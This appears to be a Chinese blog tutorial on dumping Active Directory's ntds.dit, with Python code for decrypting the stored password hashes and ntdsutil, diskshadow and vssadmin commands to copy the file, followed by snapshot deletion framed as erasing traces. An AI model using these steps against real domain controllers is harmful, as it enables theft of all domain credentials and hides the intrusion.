• 应用背景


    通常情况下,即使拥有管理员权限,也无法读取域控中的 C:\Windows\NTDS\ntds.dit,ntds 中存储 AD 数据,包括有关用户对象,组和组成员身份的信息,包括域中所有用户的密码 hash,如果攻击者拿到了这个文件,可以用 mimikatz 实现 PTH 攻击,或者离线用 Hashcat 破解。
    这个文件和 SAM 文件一样,是被操作系统锁定的,一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现 ntds.dit 的拷贝。
    一般域环境内最重要的三个文件如下:
    ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
    system文件位置:C:\\Windows\\System32\\config\\SYSTEM
    sam文件位置:C:\\Windows\\System32\\config\\SAM
    
  • NTDS 的加密


    加密方式是 2 层 RC4 + 1 层 DES,如果解密必须执行以下步骤:
    1.使用启动密钥(RC4-第1层)解密PEK(密码加密密钥)  
    2.第一轮哈希解密(使用PEK和RC4-第2层)  
    3.第二轮哈希解密(DES-第3层)
    

    首先是要解密 PEK,PEK或密码加密密钥用于加密NTDS.DIT中存储的数据。该密钥在整个域中都是相同的,这意味着在所有域控制器上它都是相同的。
    PEK本身也以加密形式存储在NTDS.DIT中。为了对其进行解密,将需要来自获得NDTS.DIT文件的同一域控制器中的注册表(SYSTEM配置单元)。这是因为PEK是使用BOOTKEY加密的,该BOOTKEY在所有域控制器(实际上在域中的所有计算机)上都是不同的。
    为了解密 PEK,要从 NTDS.DIT 中获取 ATTk590689 字段,该值的长度位 76 个字节
    标头8字节 + RC4的密钥材料16字节 + 加密的PEK 52字节
    

    解密后 PEK 密钥的实际是为最后 16 字节。当获得密钥后可用以下解密算法:
    md5 = MD5.new()
    md5.update(bootkey)
    for i in range(1000):
    md5.update(enc_pek [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    pek = rc4.encrypt(enc_pek [16:])
    return pek [36:]
    

    现在已经获得了 PEK,下一步就是解密 ATTk589879 (加密的LM哈希 )和 ATTk589914 (加密的NT哈希) 属性中的哈希。
    第二步是删除 RC4 加密层,解密 RC4 的密钥是 PEK 密钥 + 加密哈希的前16字节,加密哈希结构如下:
    标头8字节 + RC4的密钥材料16字节 + 加密的哈希16字节
    

    python 实现代码:
    md5 = MD5.new()
    md5.update(pek)
    md5.update(enc_hash [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    denc_hash = rc4.encrypt(enc_hash [16:])
    

    最后是删除 DES 加密层
    (des_k1,des_k2)= sid_to_key(rid)
    d1 = DES.new(des_k1,DES.MODE_ECB)
    d2 = DES.new(des_k2,DES.MODE_ECB)
    hash = d1.decrypt(denc_hash) [:8]+ d2.decrypt(denc_hash [8:])
    
  • 抓取 ntds.dit


    创建快照:
    ntdsutil snapshot "activate instance ntds" create quit quit
    

    挂载快照:
    ntdsutil snapshot "mount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    复制 ntds.dit
    copy C:\$SNAP_202202221846_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    

    image-20220222184901867
    现在在 c 盘已经可以看到 ntds.dit
    image-20220222185733196
    之后要做一些清除痕迹的工作:
    卸载快照:
    ntdsutil snapshot "unmount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    删除快照:
    ntdsutil snapshot "delete {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    
  • 用 diskshadow 导出


    diskshadow 执行文件中的命令
    //设置卷影拷贝  
    set context persistent nowriters
    //添加卷
    add volume c: alias someAlias
    //创建快照
    create
    //分配虚拟磁盘盘符
    expose %someAlias% z:
    //将ntds.dit复制到C盘中
    exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
    //删除所有快照
    delete shadows all
    //列出系统中的卷影拷贝
    list shadows all
    //退出
    reset
    exit
    

    执行(需要进入C:\Windows\System32目录下执行)
    diskshadow /s C:\\command.txt
    
  • 用 vssadmin 导出


    vssadmin create shadow /for=c:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\\ntds.dit
    vssadmin delete shadows /for=c: /quiet
    

    image-20220222191640003
  • 参考文献:


标签: none

添加新评论